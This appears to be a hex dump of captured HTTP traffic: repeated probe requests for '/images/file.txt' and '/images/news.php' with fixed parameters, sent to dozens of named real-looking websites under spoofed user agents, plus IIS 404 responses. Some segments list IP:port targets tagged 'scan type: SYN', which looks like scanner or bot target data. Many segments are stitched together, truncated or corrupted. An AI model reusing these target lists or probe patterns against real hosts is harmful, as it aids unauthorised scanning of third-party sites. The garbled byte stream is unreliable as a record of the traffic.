0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20626970 6f6c6172 706c616e   ost: bipolarplan
0x00000030 (00048)   65742e63 6f6d0d0a 41636365 70743a20   et.com..Accept: 
0x00000040 (00064)   2a2f2a0d 0a436f6e 6e656374 696f6e3a   */*..Connection:
0x00000050 (00080)   20636c6f 73650d0a 55736572 2d416765    close..User-Age
0x00000060 (00096)   6e743a20 4d6f7a69 6c6c612f 342e3020   nt: Mozilla/4.0 
0x00000070 (00112)   28636f6d 70617469 626c653b 204d5349   (compatible; MSI
0x00000080 (00128)   4520352e 303b2057 696e646f 77732039   E 5.0; Windows 9
0x00000090 (00144)   38290d0a 0d0a2020 20203c74 69746c65   8)....    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2067 72616e64 70726978 332e746f   t: grandprix3.to
0x00000070 (00112)   67612e34 706c6179 6572732e 64650d0a   ga.4players.de..
0x00000080 (00128)   0d0a352e 303b2057 696e646f 77732039   ..5.0; Windows 9
0x00000090 (00144)   38290d0a 0d0a2020 20203c74 69746c65   8)....    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2063 6f6e7175 65696e67 72656469   t: conqueingredi
0x00000070 (00112)   656e7465 732e636f 6d0d0a0d 0a650d0a   entes.com....e..
0x00000080 (00128)   0d0a352e 303b2057 696e646f 77732039   ..5.0; Windows 9
0x00000090 (00144)   38290d0a 0d0a2020 20203c74 69746c65   8)....    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2069 6e737469 7475746f 2d617468   t: instituto-ath
0x00000070 (00112)   656e6561 2e636f6d 2e61720d 0a0d0a0a   enea.com.ar.....
0x00000080 (00128)   0d0a352e 303b2057 696e646f 77732039   ..5.0; Windows 9
0x00000090 (00144)   38290d0a 0d0a2020 20203c74 69746c65   8)....    <title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2077 77772e61 63747561 6c2d7175   t: www.actual-qu
0x00000070 (00112)   65737469 6f6e732e 636f6d0d 0a0d0a     estions.com....

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20777777 2e64656d 6f73686f   ost: www.demosho
0x00000030 (00048)   702e6d6f 6e746f77 6e69612e 636f6d0d   p.montownia.com.
0x00000040 (00064)   0a416363 6570743a 202a2f2a 0d0a436f   .Accept: */*..Co
0x00000050 (00080)   6e6e6563 74696f6e 3a20636c 6f73650d   nnection: close.
0x00000060 (00096)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000070 (00112)   696c6c61 2f342e30 2028636f 6d706174   illa/4.0 (compat
0x00000080 (00128)   69626c65 3b204d53 49452035 2e303b20   ible; MSIE 5.0; 
0x00000090 (00144)   57696e64 6f777320 3938290d 0a0d0a65   Windows 98)....e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a206a 6d6f6e6e 65742e69 646f6f2e   t: jmonnet.idoo.
0x00000070 (00112)   636f6d0d 0a0d0a30 2028636f 6d706174   com....0 (compat
0x00000080 (00128)   69626c65 3b204d53 49452035 2e303b20   ible; MSIE 5.0; 
0x00000090 (00144)   57696e64 6f777320 3938290d 0a0d0a65   Windows 98)....e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20636173 61617572 656c6961   ost: casaaurelia
0x00000030 (00048)   2e636f6d 0d0a4163 63657074 3a202a2f   .com..Accept: */
0x00000040 (00064)   2a0d0a43 6f6e6e65 6374696f 6e3a2063   *..Connection: c
0x00000050 (00080)   6c6f7365 0d0a5573 65722d41 67656e74   lose..User-Agent
0x00000060 (00096)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000070 (00112)   6f6d7061 7469626c 653b204d 53494520   ompatible; MSIE 
0x00000080 (00128)   352e303b 2057696e 646f7773 20393829   5.0; Windows 98)
0x00000090 (00144)   0d0a0d0a 6f777320 3938290d 0a0d0a65   ....ows 98)....e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a206d 616e686f 742e636f 6d2e6272   t: manhot.com.br
0x00000070 (00112)   0d0a0d0a 7469626c 653b204d 53494520   ....tible; MSIE 
0x00000080 (00128)   352e303b 2057696e 646f7773 20393829   5.0; Windows 98)
0x00000090 (00144)   0d0a0d0a 6f777320 3938290d 0a0d0a65   ....ows 98)....e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 206e6f72 642d6261 6e642e63   ost: nord-band.c
0x00000030 (00048)   6f6d0d0a 41636365 70743a20 2a2f2a0d   om..Accept: */*.
0x00000040 (00064)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x00000050 (00080)   73650d0a 55736572 2d416765 6e743a20   se..User-Agent: 
0x00000060 (00096)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x00000070 (00112)   70617469 626c653b 204d5349 4520352e   patible; MSIE 5.
0x00000080 (00128)   303b2057 696e646f 77732039 38290d0a   0; Windows 98)..
0x00000090 (00144)   0d0a0d0a 6f777320 3938290d 0a0d0a65   ....ows 98)....e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20746569 78656972 616d756c   ost: teixeiramul
0x00000030 (00048)   74696d61 72636173 2e636f6d 2e62720d   timarcas.com.br.
0x00000040 (00064)   0a416363 6570743a 202a2f2a 0d0a436f   .Accept: */*..Co
0x00000050 (00080)   6e6e6563 74696f6e 3a20636c 6f73650d   nnection: close.
0x00000060 (00096)   0a557365 722d4167 656e743a 204d6f7a   .User-Agent: Moz
0x00000070 (00112)   696c6c61 2f342e30 2028636f 6d706174   illa/4.0 (compat
0x00000080 (00128)   69626c65 3b204d53 49452035 2e303b20   ible; MSIE 5.0; 
0x00000090 (00144)   57696e64 6f777320 3938290d 0a0d0a65   Windows 98)....e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2032 33392e63 6f2e6b72 0d0a0d0a   t: 239.co.kr....
0x00000070 (00112)   696c6c61                              illa

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2077 77772e61 7262692e 69740d0a   t: www.arbi.it..
0x00000070 (00112)   0d0a3139 352e3738 2e36372e 3133353a   ..195.78.67.135:
0x00000080 (00128)   38302c32 30392e32 32322e31 342e333a   80,209.222.14.3:
0x00000090 (00144)   38302c38 322e3938 2e38362e 3136323a   80,82.98.86.162:
0x000000a0 (00160)   38302c39 332e3137 342e352e 3232343a   80,93.174.5.224:
0x000000b0 (00176)   38302c31 38392e33 382e3830 2e38313a   80,189.38.80.81:
0x000000c0 (00192)   38302c39 312e3138 352e3231 302e3132   80,91.185.210.12
0x000000d0 (00208)   323a3830 2c313839 2e33382e 39302e31   2:80,189.38.90.1
0x000000e0 (00224)   33373a38 302c3138 332e3130 312e3532   37:80,183.101.52
0x000000f0 (00240)   2e34333a 38302c73 63616e20 74797065   .43:80,scan type
0x00000100 (00256)   3a205359 4e                           : SYN

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20777777 2e6e6570 616c7372   ost: www.nepalsr
0x00000030 (00048)   6c2d6974 616c792e 636f6d0d 0a416363   l-italy.com..Acc
0x00000040 (00064)   6570743a 202a2f2a 0d0a436f 6e6e6563   ept: */*..Connec
0x00000050 (00080)   74696f6e 3a20636c 6f73650d 0a557365   tion: close..Use
0x00000060 (00096)   722d4167 656e743a 204d6f7a 696c6c61   r-Agent: Mozilla
0x00000070 (00112)   2f342e30 2028636f 6d706174 69626c65   /4.0 (compatible
0x00000080 (00128)   3b204d53 49452035 2e303b20 57696e64   ; MSIE 5.0; Wind
0x00000090 (00144)   6f777320 3938290d 0a0d0a0d 0a0d0a65   ows 98)........e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20736572 76697a69 616c6369   ost: servizialci
0x00000030 (00048)   74746164 696e6f2e 69740d0a 41636365   ttadino.it..Acce
0x00000040 (00064)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000050 (00080)   696f6e3a 20636c6f 73650d0a 55736572   ion: close..User
0x00000060 (00096)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000070 (00112)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000080 (00128)   204d5349 4520352e 303b2057 696e646f    MSIE 5.0; Windo
0x00000090 (00144)   77732039 38290d0a 0d0a0a0d 0a0d0a65   ws 98).........e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2061 6c696369 616c6f70 657a2e65   t: alicialopez.e
0x00000070 (00112)   730d0a0d 0a636f6d 70617469 626c653b   s....compatible;
0x00000080 (00128)   204d5349 4520352e 303b2057 696e646f    MSIE 5.0; Windo
0x00000090 (00144)   77732039 38290d0a 0d0a0a0d 0a0d0a65   ws 98).........e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20777777 2e617274 73746f6c   ost: www.artstol
0x00000030 (00048)   2e636f6d 2e706c0d 0a416363 6570743a   .com.pl..Accept:
0x00000040 (00064)   202a2f2a 0d0a436f 6e6e6563 74696f6e    */*..Connection
0x00000050 (00080)   3a20636c 6f73650d 0a557365 722d4167   : close..User-Ag
0x00000060 (00096)   656e743a 204d6f7a 696c6c61 2f342e30   ent: Mozilla/4.0
0x00000070 (00112)   2028636f 6d706174 69626c65 3b204d53    (compatible; MS
0x00000080 (00128)   49452035 2e303b20 57696e64 6f777320   IE 5.0; Windows 
0x00000090 (00144)   3938290d 0a0d0a0a 0d0a0a0d 0a0d0a65   98)............e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2067 656e636b 69746170 2e636f6d   t: genckitap.com
0x00000070 (00112)   0d0a0d0a 6d706174 69626c65 3b204d53   ....mpatible; MS
0x00000080 (00128)   49452035 2e303b20 57696e64 6f777320   IE 5.0; Windows 
0x00000090 (00144)   3938290d 0a0d0a0a 0d0a0a0d 0a0d0a65   98)............e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20636861 6e736f6e 64656369   ost: chansondeci
0x00000030 (00048)   72636f6e 7374616e 63652e63 6f6d0d0a   rconstance.com..
0x00000040 (00064)   41636365 70743a20 2a2f2a0d 0a436f6e   Accept: */*..Con
0x00000050 (00080)   6e656374 696f6e3a 20636c6f 73650d0a   nection: close..
0x00000060 (00096)   55736572 2d416765 6e743a20 4d6f7a69   User-Agent: Mozi
0x00000070 (00112)   6c6c612f 342e3020 28636f6d 70617469   lla/4.0 (compati
0x00000080 (00128)   626c653b 204d5349 4520352e 303b2057   ble; MSIE 5.0; W
0x00000090 (00144)   696e646f 77732039 38290d0a 0d0a0a65   indows 98).....e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2077 77772e65 6d696c67 696f6368   t: www.emilgioch
0x00000070 (00112)   692e6974 0d0a0d0a 28636f6d 70617469   i.it....(compati
0x00000080 (00128)   626c653b 204d5349 4520352e 303b2057   ble; MSIE 5.0; W
0x00000090 (00144)   696e646f 77732039 38290d0a 0d0a0a65   indows 98).....e
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20686f72 746f6d6f 6e646567   ost: hortomondeg
0x00000030 (00048)   6f2e7074 0d0a4163 63657074 3a202a2f   o.pt..Accept: */
0x00000040 (00064)   2a0d0a43 6f6e6e65 6374696f 6e3a2063   *..Connection: c
0x00000050 (00080)   6c6f7365 0d0a5573 65722d41 67656e74   lose..User-Agent
0x00000060 (00096)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000070 (00112)   6f6d7061 7469626c 653b204d 53494520   ompatible; MSIE 
0x00000080 (00128)   352e303b 2057696e 646f7773 20393829   5.0; Windows 98)
0x00000090 (00144)   0d0a0d0a                              ....

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2077 77772e63 6c696d61 74676573   t: www.climatges
0x00000070 (00112)   74696f6e 2e63680d 0a0d0a3a 33382047   tion.ch....:38 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20706c61 6e657469 6e746572   ost: planetinter
0x00000030 (00048)   6e65742e 636f6d2e 62720d0a 41636365   net.com.br..Acce
0x00000040 (00064)   70743a20 2a2f2a0d 0a436f6e 6e656374   pt: */*..Connect
0x00000050 (00080)   696f6e3a 20636c6f 73650d0a 55736572   ion: close..User
0x00000060 (00096)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000070 (00112)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000080 (00128)   204d5349 4520352e 303b2057 696e646f    MSIE 5.0; Windo
0x00000090 (00144)   77732039 38290d0a 0d0a3c74 69746c65   ws 98)....<title
0x000000a0 (00160)   3e343034 204e6f74                     >404 Not

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2073 642d666c 762e7369 0d0a0d0a   t: sd-flv.si....
0x00000070 (00112)   2e33373a 38302c38 372e3938 2e323330   .37:80,87.98.230
0x00000080 (00128)   2e34373a 38302c31 39352e37 382e3637   .47:80,195.78.67
0x00000090 (00144)   2e313335 3a38302c 36382e31 37382e32   .135:80,68.178.2
0x000000a0 (00160)   33322e31 30303a38 302c3231 332e3138   32.100:80,213.18
0x000000b0 (00176)   362e3333 2e31363a 38302c31 39352e31   6.33.16:80,195.1
0x000000c0 (00192)   31302e31 32342e31 33333a38 302c3832   10.124.133:80,82
0x000000d0 (00208)   2e313032 2e342e32 32383a38 302c3830   .102.4.228:80,80
0x000000e0 (00224)   2e38302e 3232382e 33323a38 302c3138   .80.228.32:80,18
0x000000f0 (00240)   372e312e 3133332e 34393a38 302c7363   7.1.133.49:80,sc
0x00000100 (00256)   616e2074 7970653a 2053594e            an type: SYN

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a2067 656d696e 692e7369 0d0a0d0a   t: gemini.si....
0x00000070 (00112)   20323031 33203034 3a31343a 33392047    2013 04:14:39 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

0x00000000 (00000)   47455420 2f696d61 6765732f 66696c65   GET /images/file
0x00000010 (00016)   2e747874 20485454 502f312e 300d0a48   .txt HTTP/1.0..H
0x00000020 (00032)   6f73743a 20777777 2e6a6370 73726c2e   ost: www.jcpsrl.
0x00000030 (00048)   69740d0a 41636365 70743a20 2a2f2a0d   it..Accept: */*.
0x00000040 (00064)   0a436f6e 6e656374 696f6e3a 20636c6f   .Connection: clo
0x00000050 (00080)   73650d0a 55736572 2d416765 6e743a20   se..User-Agent: 
0x00000060 (00096)   4d6f7a69 6c6c612f 342e3020 28636f6d   Mozilla/4.0 (com
0x00000070 (00112)   70617469 626c653b 204d5349 4520352e   patible; MSIE 5.
0x00000080 (00128)   303b2057 696e646f 77732039 38290d0a   0; Windows 98)..
0x00000090 (00144)   0d0a3639 36343364 2020202e 7068703f   ..69643d   .php?
0x000000a0 (00160)   703d3137 35353526 69643d0a            p=17555&id=.

0x00000000 (00000)   47455420 2f696d61 6765732f 6e657773   GET /images/news
0x00000010 (00016)   2e706870 3f703d31 37353535 2669643d   .php?p=17555&id=
0x00000020 (00032)   38323837 32353939 3426653d 34333931   828725994&e=4391
0x00000030 (00048)   33333620 48545450 2f312e31 0d0a5573   336 HTTP/1.1..Us
0x00000040 (00064)   65722d41 67656e74 3a20496e 7465726e   er-Agent: Intern
0x00000050 (00080)   65742045 78706c6f 6465720d 0a486f73   et Exploder..Hos
0x00000060 (00096)   743a206b 6d727379 7374656d 2e636f6d   t: kmrsystem.com
0x00000070 (00112)   0d0a0d0a 33203034 3a31343a 33392047   ....3 04:14:39 G
0x00000080 (00128)   4d540d0a 0d0a3c68 746d6c3e 0a20203c   MT....<html>.  <
0x00000090 (00144)   68656164 3e0a2020 20203c74 69746c65   head>.    <title
0x000000a0 (00160)   3e343034 204e6f74 20466f75 6e643c2f   >404 Not Found</
0x000000b0 (00176)   7469746c 653e0a20 203c2f68 6561643e   title>.  </head>
0x000000c0 (00192)   0a20203c 626f6479 3e0a2020 20203c68   .  <body>.    <h
0x000000d0 (00208)   313e4e6f 7420466f 756e643c 2f68313e   1>Not Found</h1>
0x000000e0 (00224)   0a202020 203c703e 596f7572 2062726f   .    <p>Your bro
0x000000f0 (00240)   77736572 2073656e 74206120 72657175   wser sent a requ
0x00000100 (00256)   65737420 74686174 20746869 73207365   est that this se
0x00000110 (00272)   72766572 20636f75 6c64206e 6f742075   rver could not u
0x00000120 (00288)   6e646572 7374616e 642e3c2f 703e0a20   nderstand.</p>. 
0x00000130 (00304)   2020203c 703e4e6f 20737563 68206669      <p>No such fi
0x00000140 (00320)   6c65206f 72206469 72656374 6f72792e   le or directory.
0x00000150 (00336)   3c2f703e 0a20203c 6872202f 3e0a2020   </p>.  <hr />.  
0x00000160 (00352)   3c616464 72657373 3e4d6963 726f736f   <address>Microso
0x00000170 (00368)   66742d49 49532f37 2e303c2f 61646472   ft-IIS/7.0</addr
0x00000180 (00384)   6573733e 0a20203c 2f626f64 793e0a3c   ess>.  </body>.<
0x00000190 (00400)   2f68746d 6c3e0a                       /html>.

